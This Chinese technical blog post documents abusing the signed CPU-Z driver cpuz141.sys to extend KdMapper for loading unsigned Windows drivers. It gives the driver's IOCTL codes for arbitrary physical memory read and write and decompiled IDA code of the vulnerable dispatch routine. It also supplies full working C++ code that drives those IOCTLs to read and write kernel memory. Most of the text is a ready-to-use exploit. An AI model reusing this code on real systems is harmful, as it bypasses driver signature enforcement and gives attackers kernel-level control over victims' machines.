KdMapper扩展实现之CPUID(cpuz141.sys)
1.背景
KdMapper是一个利用intel的驱动漏洞可以无痕的加载未经签名的驱动,本文是利用其它漏洞(参考《【转载】利用签名驱动漏洞加载未签名驱动》)做相应的修改以实现类似功能。需要大家对KdMapper的代码有一定了解。
2.驱动信息
驱动名称 | cpuz141.sys |
时间戳 | 5834463B |
MD5 | DB72DEF618CBC3C5F9AA82F091B54250 |
文件版本 | 1.0.4.1 |
设备名称 | \\.\cpuz141 |
读物理内存 | 0x9C402420 |
写物理内存 | 0x9C402430 |
Windows 7 | 支持 |
Windows 10 | 不支持 |
Windows 11 | 不支持 |
3.IDA分析
3.1 入口函数:
NTSTATUS __stdcall DriverEntry(_DRIVER_OBJECT* DriverObject, PUNICODE_STRING RegistryPath)
{
int v3; // ebx
const WCHAR* v4; // rdx
int* v5; // rax
ULONG MajorVersion; // [rsp+40h] [rbp-C8h] BYREF
PDEVICE_OBJECT DeviceObject; // [rsp+48h] [rbp-C0h] BYREF
struct _UNICODE_STRING DestinationString; // [rsp+50h] [rbp-B8h] BYREF
struct _UNICODE_STRING SymbolicLinkName; // [rsp+60h] [rbp-A8h] BYREF
__int64 SourceString[4]; // [rsp+70h] [rbp-98h] BYREF
__int64 v12[5]; // [rsp+90h] [rbp-78h] BYREF
_QWORD szSymbolName[6]; // [rsp+B8h] [rbp-50h] BYREF
int v14; // [rsp+E8h] [rbp-20h]
__int16 v15; // [rsp+ECh] [rbp-1Ch]
SourceString[0] = 0x7600650044005Ci64;
DeviceObject = 0i64;
SourceString[1] = 0x5C006500630069i64;
SourceString[2] = 0x7A007500700063i64;
SourceString[3] = 0x3100340031i64;
v12[0] = 0x73006F0044005Ci64;
v12[1] = 0x69007600650044i64;
v12[2] = 0x5C007300650063i64;
v12[3] = 0x5A005500500043i64;
v12[4] = 0x3100340031i64;
szSymbolName[0] = 0x73006F0044005Ci64;
szSymbolName[1] = 0x69007600650044i64;
szSymbolName[2] = 0x5C007300650063i64;
szSymbolName[3] = 0x62006F006C0047i64;
szSymbolName[4] = 0x43005C006C0061i64;
szSymbolName[5] = 0x31005A00550050i64;
v14 = 3211316;
v15 = 0;
RtlInitUnicodeString(&DestinationString, (PCWSTR)SourceString);// SourceString \Device\cpuz141
v3 = IoCreateDevice(DriverObject, 4u, &DestinationString, 0x9C40u, 0, 1u, &DeviceObject);
if (v3 >= 0)
{
PsGetVersion(&MajorVersion, 0i64, 0i64, 0i64);
v4 = (const WCHAR*)szSymbolName;
if (MajorVersion < 5)
v4 = (const WCHAR*)v12;
RtlInitUnicodeString(&SymbolicLinkName, v4);
v3 = IoCreateSymbolicLink(&SymbolicLinkName, &DestinationString);// \DosDevices\CPUZ141
if (v3 >= 0)
{
DriverObject->MajorFunction[14] = (PDRIVER_DISPATCH)sub_115B0;
DriverObject->MajorFunction[2] = (PDRIVER_DISPATCH)sub_115B0;
DriverObject->MajorFunction[0] = (PDRIVER_DISPATCH)sub_115B0;
DriverObject->DriverUnload = (PDRIVER_UNLOAD)sub_14410;
v5 = dword_16144;
do
{
*(v5 - 1) = 0;
*v5 = 0;
*(_QWORD*)(v5 + 1) = 0i64;
v5[3] = 0;
v5 += 6;
} while ((__int64)v5 < (__int64)&unk_16444);
}
else if (DeviceObject)
{
IoDeleteDevice(DeviceObject);
}
}
return v3;
}
3.2 MainDispatch
主要的IRP处理函数为 sub_115B0,其代码如下:
__int64 __fastcall sub_115B0(_DEVICE_OBJECT* pDeviceObject, IRP* pIrp)
{
_IO_STACK_LOCATION* pIosp; // rdx
READ_WRITE_PHYSICAL_MEMORY_INFO* pPhysicalMemoryInfo; // r13
unsigned int nIoControlCode; // eax
SIZE_T nMapSize; // rdi
unsigned __int64 pVirtualAddressV12; // rbx
DWORD dwWriteData; // edi
......
pIrp->IoStatus.Status = 0;
pIrp->IoStatus.Information = 0i64;
pIosp = pIrp->Tail.Overlay.CurrentStackLocation;
pPhysicalMemoryInfo = (READ_WRITE_PHYSICAL_MEMORY_INFO*)pIrp->AssociatedIrp.SystemBuffer;
if (pIosp->MajorFunction != 14)
goto LABEL_471;
nIoControlCode = pIosp->Parameters.DeviceIoControl.IoControlCode;
if (nIoControlCode > 0x9C402500)
{
......
}
if (nIoControlCode == 0x9C402500)
{
......
}
else
{
switch (nIoControlCode)
{
......
case 0x9C402420:
if (pIosp->Parameters.DeviceIoControl.OutputBufferLength < 8
|| pIosp->Parameters.DeviceIoControl.InputBufferLength < 0x14)
{
pIrp->IoStatus.Information = 0i64;
pIrp->IoStatus.Status = 0xC0000023;
}
else // 读取任意物理地址
{
PhysicalAddress.HighPart = pPhysicalMemoryInfo->PhysicalAddressHigh;
PhysicalAddress.LowPart = pPhysicalMemoryInfo->PhysicalAddressLow;
nMapSize = pPhysicalMemoryInfo->Size;
pVirtualAddressV12 = pPhysicalMemoryInfo->VirtualAddressLow
+ ((unsigned __int64)pPhysicalMemoryInfo->VirtualAddressHigh << 32);
v314 = pVirtualAddressV12;
v13 = IsCheckedPhysicalAddress(PhysicalAddress, nMapSize);
if (v13)
{
v14 = PhysicalAddress.QuadPart - *(_QWORD*)v13 + *((_QWORD*)v13 + 1);
v15 = 0;
v221 = 0;
while (v15 < (unsigned int)nMapSize)
{
*(_BYTE*)(v15 + pVirtualAddressV12) = *(_BYTE*)(v15 + v14);
v221 = ++v15;
}
pPhysicalMemoryInfo->PhysicalAddressHigh = 0x11111111;
}
else
{
pMappedAddressv16 = MmMapIoSpace(PhysicalAddress, nMapSize, MmNonCached);
nIndexV17 = 0;
v221 = 0;
while (nIndexV17 < (unsigned int)nMapSize)
{
*(_BYTE*)(nIndexV17 + pVirtualAddressV12) = pMappedAddressv16[nIndexV17];
v221 = ++nIndexV17;
}
MmUnmapIoSpace(pMappedAddressv16, nMapSize);
pPhysicalMemoryInfo->PhysicalAddressHigh = 0x22222222;
}
pPhysicalMemoryInfo->PhysicalAddressLow = pVirtualAddressV12;
pIrp->IoStatus.Information = 8i64;
pIrp->IoStatus.Status = 0;
}
break;
......
case 0x9C402430:
if (pIosp->Parameters.DeviceIoControl.OutputBufferLength < 8
|| pIosp->Parameters.DeviceIoControl.InputBufferLength < 0xC)
{
pIrp->IoStatus.Information = 0i64;
pIrp->IoStatus.Status = 0xC0000023;
}
else // 往任意物理地址写入四字节数据
{
PhysicalAddressV284.HighPart = pPhysicalMemoryInfo->PhysicalAddressHigh;
PhysicalAddressV284.LowPart = pPhysicalMemoryInfo->PhysicalAddressLow;
dwWriteData = pPhysicalMemoryInfo->Data;
v19 = IsCheckedPhysicalAddress(PhysicalAddressV284, 4u);
if (v19)
{
*(_DWORD*)(PhysicalAddressV284.QuadPart - *(_QWORD*)v19 + *((_QWORD*)v19 + 1)) = dwWriteData;
pPhysicalMemoryInfo->PhysicalAddressHigh = 0x11111111;
}
else
{
pMappedAddressV20 = MmMapIoSpace(PhysicalAddressV284, 4ui64, MmNonCached);
*pMappedAddressV20 = dwWriteData;
MmUnmapIoSpace(pMappedAddressV20, 4ui64);
pPhysicalMemoryInfo->PhysicalAddressHigh = 0x22222222;
}
pPhysicalMemoryInfo->PhysicalAddressLow = dwWriteData;
pIrp->IoStatus.Information = 8i64;
pIrp->IoStatus.Status = 0;
}
break;
default:
goto LABEL_470;
}
}
LABEL_471:
v214 = pIrp->IoStatus.Status;
IofCompleteRequest(pIrp, 0);
return v214;
}
int *__fastcall IsCheckedPhysicalAddress(PHYSICAL_ADDRESS PhysicalAddress, unsigned int nMapSize)
{
int nIndex; // er11
int *v3; // r8
PHYSICAL_ADDRESS v4; // r9
PHYSICAL_ADDRESS v5; // r10
nIndex = 0;
v3 = dword_16150;
while ( 1 )
{
v4 = *(PHYSICAL_ADDRESS *)(v3 - 4);
if ( PhysicalAddress.QuadPart >= (unsigned __int64)v4.QuadPart )
{
v5.QuadPart = v4.QuadPart + (unsigned int)*v3;
if ( PhysicalAddress.QuadPart < (unsigned __int64)v5.QuadPart
&& PhysicalAddress.QuadPart + (unsigned __int64)nMapSize >= v4.QuadPart
&& PhysicalAddress.QuadPart + (unsigned __int64)nMapSize <= v5.QuadPart )
{
break;
}
}
v3 += 6;
++nIndex;
if ( (__int64)v3 >= (__int64)&unk_16450 )
return 0i64;
}
return &dword_16140[6 * nIndex];
}
- 读物理内存 0x9C402420
从READ_WRITE_PHYSICAL_MEMORY_INFO的物理地址PhysicalAddress复制数据到READ_WRITE_PHYSICAL_MEMORY_INFO的内容地址VirtualAddress。
- 写物理内存 0x9C402430
从READ_WRITE_PHYSICAL_MEMORY_INFO的内容地址VirtualAddress复制数据到READ_WRITE_PHYSICAL_MEMORY_INFO的物理地址PhysicalAddress。
3.3 READ_WRITE_PHYSICAL_MEMORY_INFO结构
00000000 READ_WRITE_PHYSICAL_MEMORY_INFO struc ; (sizeof=0x14, copyof_381)
00000000 PhysicalAddressHigh dd ?
00000004 PhysicalAddressLow dd ?
00000008 anonymous_0 READ_WRITE_PHYSICAL_MEMORY_INFO::$B5968B880617395D45D6F54DB9E0F34E ?
0000000C VirtualAddressHigh dd ?
00000010 VirtualAddressLow dd ?
00000014 READ_WRITE_PHYSICAL_MEMORY_INFO ends
00000014
00000000 ; ---------------------------------------------------------------------------
00000000
00000000 READ_WRITE_PHYSICAL_MEMORY_INFO::$B5968B880617395D45D6F54DB9E0F34E union ; (sizeof=0x4, copyof_380)
00000000 ; XREF: READ_WRITE_PHYSICAL_MEMORY_INFO/r
00000000 Size dd ?
00000000 Data dd ?
00000000 READ_WRITE_PHYSICAL_MEMORY_INFO::$B5968B880617395D45D6F54DB9E0F34E ends
3.4 使用注意事项
实现使用的是MmMapIoSpace将物理内存映射到进程空间或者之后再读写。由于使用了物理内存,在代码过程中会遇到物理页面和虚拟页面不一一对应的问题,问题说明及解决办法见《KdMapper扩展中遇到的相关问题》。
4. 代码实现
4.1 .h文件
#pragma pack(push)
#pragma pack(1)
typedef struct /*DECLSPEC_ALIGN(MEMORY_ALLOCATION_ALIGNMENT)*/_CPUZ141_PHYSICAL_MEMORY_INFO {
DWORD dwPhysicalAddressHigh;
DWORD dwPhysicalAddressLow;
union
{
DWORD dwSize;
DWORD dwData; //写时的数据位,每次只能写四个字节
};
DWORD dwVirtualAddressHigh;
DWORD dwVirtualAddressLow;
} CPUZ141_PHYSICAL_MEMORY_INFO, *PCPUZ141_PHYSICAL_MEMORY_INFO;
#pragma pack(pop)
#ifndef RtlOffsetToPointer
#define RtlOffsetToPointer(Base, Offset) ((PCHAR)( ((PCHAR)(Base)) + ((ULONG_PTR)(Offset)) ))
#endif
#ifndef RtlPointerToOffset
#define RtlPointerToOffset(Base, Pointer) ((ULONG)( ((PCHAR)(Pointer)) - ((PCHAR)(Base)) ))
#endif
#define CPUZ141_DEVICE_TYPE (DWORD)0x9C40
#define CPUZ141_READ_PHYSICAL_MEMORY_FUNCID (DWORD)0x908
#define CPUZ141_WRITE_PHYSICAL_MEMORY_FUNCID (DWORD)0x90C
#define IOCTL_CPUZ141_READ_PHYSICAL_MEMORY \
CTL_CODE(CPUZ141_DEVICE_TYPE, CPUZ141_READ_PHYSICAL_MEMORY_FUNCID, METHOD_BUFFERED, FILE_ANY_ACCESS) //0x9C402420
#define IOCTL_CPUZ141_WRITE_PHYSICAL_MEMORY \
CTL_CODE(CPUZ141_DEVICE_TYPE, CPUZ141_WRITE_PHYSICAL_MEMORY_FUNCID, METHOD_BUFFERED, FILE_ANY_ACCESS) //0x9C402430
4.2 .c文件
NTSTATUS cpuid_driver::SuperCallDriverEx(
_In_ HANDLE DeviceHandle,
_In_ ULONG IoControlCode,
_In_ PVOID InputBuffer,
_In_ ULONG InputBufferLength,
_In_opt_ PVOID OutputBuffer,
_In_opt_ ULONG OutputBufferLength,
_Out_opt_ PIO_STATUS_BLOCK IoStatus)
{
IO_STATUS_BLOCK ioStatus;
NTSTATUS ntStatus = NtDeviceIoControlFile(DeviceHandle,
NULL,
NULL,
NULL,
&ioStatus,
IoControlCode,
InputBuffer,
InputBufferLength,
OutputBuffer,
OutputBufferLength);
if (ntStatus == STATUS_PENDING) {
ntStatus = NtWaitForSingleObject(DeviceHandle,
FALSE,
NULL);
}
if (IoStatus)
*IoStatus = ioStatus;
return ntStatus;
}
BOOL cpuid_driver::SuperCallDriver(
_In_ HANDLE DeviceHandle,
_In_ ULONG IoControlCode,
_In_ PVOID InputBuffer,
_In_ ULONG InputBufferLength,
_In_opt_ PVOID OutputBuffer,
_In_opt_ ULONG OutputBufferLength)
{
BOOL bResult;
IO_STATUS_BLOCK ioStatus;
NTSTATUS ntStatus = SuperCallDriverEx(
DeviceHandle,
IoControlCode,
InputBuffer,
InputBufferLength,
OutputBuffer,
OutputBufferLength,
&ioStatus);
bResult = NT_SUCCESS(ntStatus);
SetLastError(RtlNtStatusToDosError(ntStatus));
return bResult;
}
BOOL WINAPI cpuid_driver::SuperReadWritePhysicalMemory(
_In_ HANDLE DeviceHandle,
_In_ ULONG_PTR PhysicalAddress,
_In_reads_bytes_(NumberOfBytes) PVOID Buffer,
_In_ ULONG NumberOfBytes,
_In_ BOOLEAN DoWrite)
{
BOOL bResult = FALSE;
DWORD dwError = ERROR_SUCCESS;
CPUZ141_PHYSICAL_MEMORY_INFO request;
RtlSecureZeroMemory(&request, sizeof(request));
__try {
if (DoWrite) {
//写物理内存每次只能写四个字节
DWORD dwLoopCount = NumberOfBytes / sizeof(ULONG);
DWORD dwRemainingSize = NumberOfBytes % sizeof(ULONG);
LARGE_INTEGER liPhysicalAddressToWrite = {0};
DWORD dwIndex = 0;
for (dwIndex = 0; dwIndex < dwLoopCount; dwIndex++)
{
DWORD dwData = *((DWORD*)((PUCHAR)Buffer + dwIndex * sizeof(ULONG)));
liPhysicalAddressToWrite.QuadPart = PhysicalAddress + dwIndex * sizeof(ULONG);
request.dwPhysicalAddressHigh = liPhysicalAddressToWrite.HighPart;
request.dwPhysicalAddressLow = liPhysicalAddressToWrite.LowPart;
request.dwData = dwData;
bResult = SuperCallDriver(DeviceHandle,
IOCTL_CPUZ141_WRITE_PHYSICAL_MEMORY,
&request,
sizeof(request),
&request,
sizeof(request));
if (!bResult)
{
Log(L"[!] Error WritePhysicalMemory 1!" << std::endl);
break;
}
}
if ((dwLoopCount == 0) ||(bResult))
{
if (dwRemainingSize != 0)
{
DWORD dwData = 0;
PVOID pDataPointer = &dwData;
liPhysicalAddressToWrite.QuadPart = PhysicalAddress + dwIndex * sizeof(ULONG);
request.dwPhysicalAddressHigh = liPhysicalAddressToWrite.HighPart;
request.dwPhysicalAddressLow = liPhysicalAddressToWrite.LowPart;
request.dwSize = sizeof(ULONG);
request.dwVirtualAddressHigh = HIDWORD(pDataPointer);
request.dwVirtualAddressLow = LODWORD(pDataPointer);
bResult = SuperCallDriver(DeviceHandle,
IOCTL_CPUZ141_READ_PHYSICAL_MEMORY,
&request,
sizeof(request),
&request,
sizeof(request));
if (bResult)
{
RtlCopyMemory(&dwData, (PUCHAR)Buffer + dwIndex * sizeof(ULONG), dwRemainingSize);
request.dwPhysicalAddressHigh = liPhysicalAddressToWrite.HighPart;
request.dwPhysicalAddressLow = liPhysicalAddressToWrite.LowPart;
request.dwData = dwData;
bResult = SuperCallDriver(DeviceHandle,
IOCTL_CPUZ141_WRITE_PHYSICAL_MEMORY,
&request,
sizeof(request),
&request,
sizeof(request));
if (!bResult)
{
Log(L"[!] Error WritePhysicalMemory 2!" << std::endl);
}
}
else
{
Log(L"[!] Error Read Physical Memory in WritePhysicalMemory!" << std::endl);
}
}
}
}
else {
request.dwPhysicalAddressHigh = HIDWORD(PhysicalAddress);
request.dwPhysicalAddressLow = LODWORD(PhysicalAddress);
request.dwSize = NumberOfBytes;
request.dwVirtualAddressHigh = HIDWORD(Buffer);
request.dwVirtualAddressLow = LODWORD(Buffer);
bResult = SuperCallDriver(DeviceHandle,
IOCTL_CPUZ141_READ_PHYSICAL_MEMORY,
&request,
sizeof(request),
&request,
sizeof(request));
}
}
__except (EXCEPTION_EXECUTE_HANDLER) {
bResult = FALSE;
dwError = GetExceptionCode();
Log(L"[!] Error AtszioReadWritePhysicalMemory Exception!" << std::endl);
}
SetLastError(dwError);
return bResult;
}
BOOL WINAPI cpuid_driver::SuperReadPhysicalMemory(
_In_ HANDLE DeviceHandle,
_In_ ULONG_PTR PhysicalAddress,
_In_ PVOID Buffer,
_In_ ULONG NumberOfBytes)
{
return SuperReadWritePhysicalMemory(DeviceHandle,
PhysicalAddress,
Buffer,
NumberOfBytes,
FALSE);
}
BOOL WINAPI cpuid_driver::SuperWritePhysicalMemory(
_In_ HANDLE DeviceHandle,
_In_ ULONG_PTR PhysicalAddress,
_In_reads_bytes_(NumberOfBytes) PVOID Buffer,
_In_ ULONG NumberOfBytes)
{
return SuperReadWritePhysicalMemory(DeviceHandle,
PhysicalAddress,
Buffer,
NumberOfBytes,
TRUE);
}
BOOL WINAPI cpuid_driver::SuperWriteKernelVirtualMemory(
_In_ HANDLE DeviceHandle,
_In_ ULONG_PTR Address,
_Out_writes_bytes_(NumberOfBytes) PVOID Buffer,
_In_ ULONG NumberOfBytes)
{
BOOL bResult;
ULONG_PTR physicalAddress = 0;
SetLastError(ERROR_SUCCESS);
bResult = SuperVirtualToPhysical(DeviceHandle,
Address,
&physicalAddress);
if (bResult) {
bResult = SuperReadWritePhysicalMemory(DeviceHandle,
physicalAddress,
Buffer,
NumberOfBytes,
TRUE);
}
return bResult;
}
BOOL WINAPI cpuid_driver::SuperReadKernelVirtualMemory(
_In_ HANDLE DeviceHandle,
_In_ ULONG_PTR Address,
_Out_writes_bytes_(NumberOfBytes) PVOID Buffer,
_In_ ULONG NumberOfBytes)
{
BOOL bResult;
ULONG_PTR physicalAddress = 0;
SetLastError(ERROR_SUCCESS);
bResult = SuperVirtualToPhysical(DeviceHandle,
Address,
&physicalAddress);
if (bResult) {
bResult = SuperReadWritePhysicalMemory(DeviceHandle,
physicalAddress,
Buffer,
NumberOfBytes,
FALSE);
}
return bResult;
}
其中 SuperReadKernelVirtualMemory 和 SuperWriteKernelVirtualMemory 读写虚拟地址内存页面中的 虚拟地址转物理地址函数 SuperVirtualToPhysical 的实现在《KdMapper扩展实现之虚拟地址转物理地址 》一文中有介绍。
同时由于使用了MmMapIoSpace,故其只能在Win7上运行,详见《KdMapper扩展实现之虚拟地址转物理地址 》。
5. 运行效果
Windows 7 x64 环境上运行的效果如下,其中驱动 HelloWorld.sys为未签名的驱动,其详细说明见文章《KdMapper被加载驱动的实现》。
6.特别提示
使用cpuz141.sys制作的KdMapper只能在Win 7 x64环境上运行,Win10以上环境由于使用了MmMapIoSpace会导致蓝屏。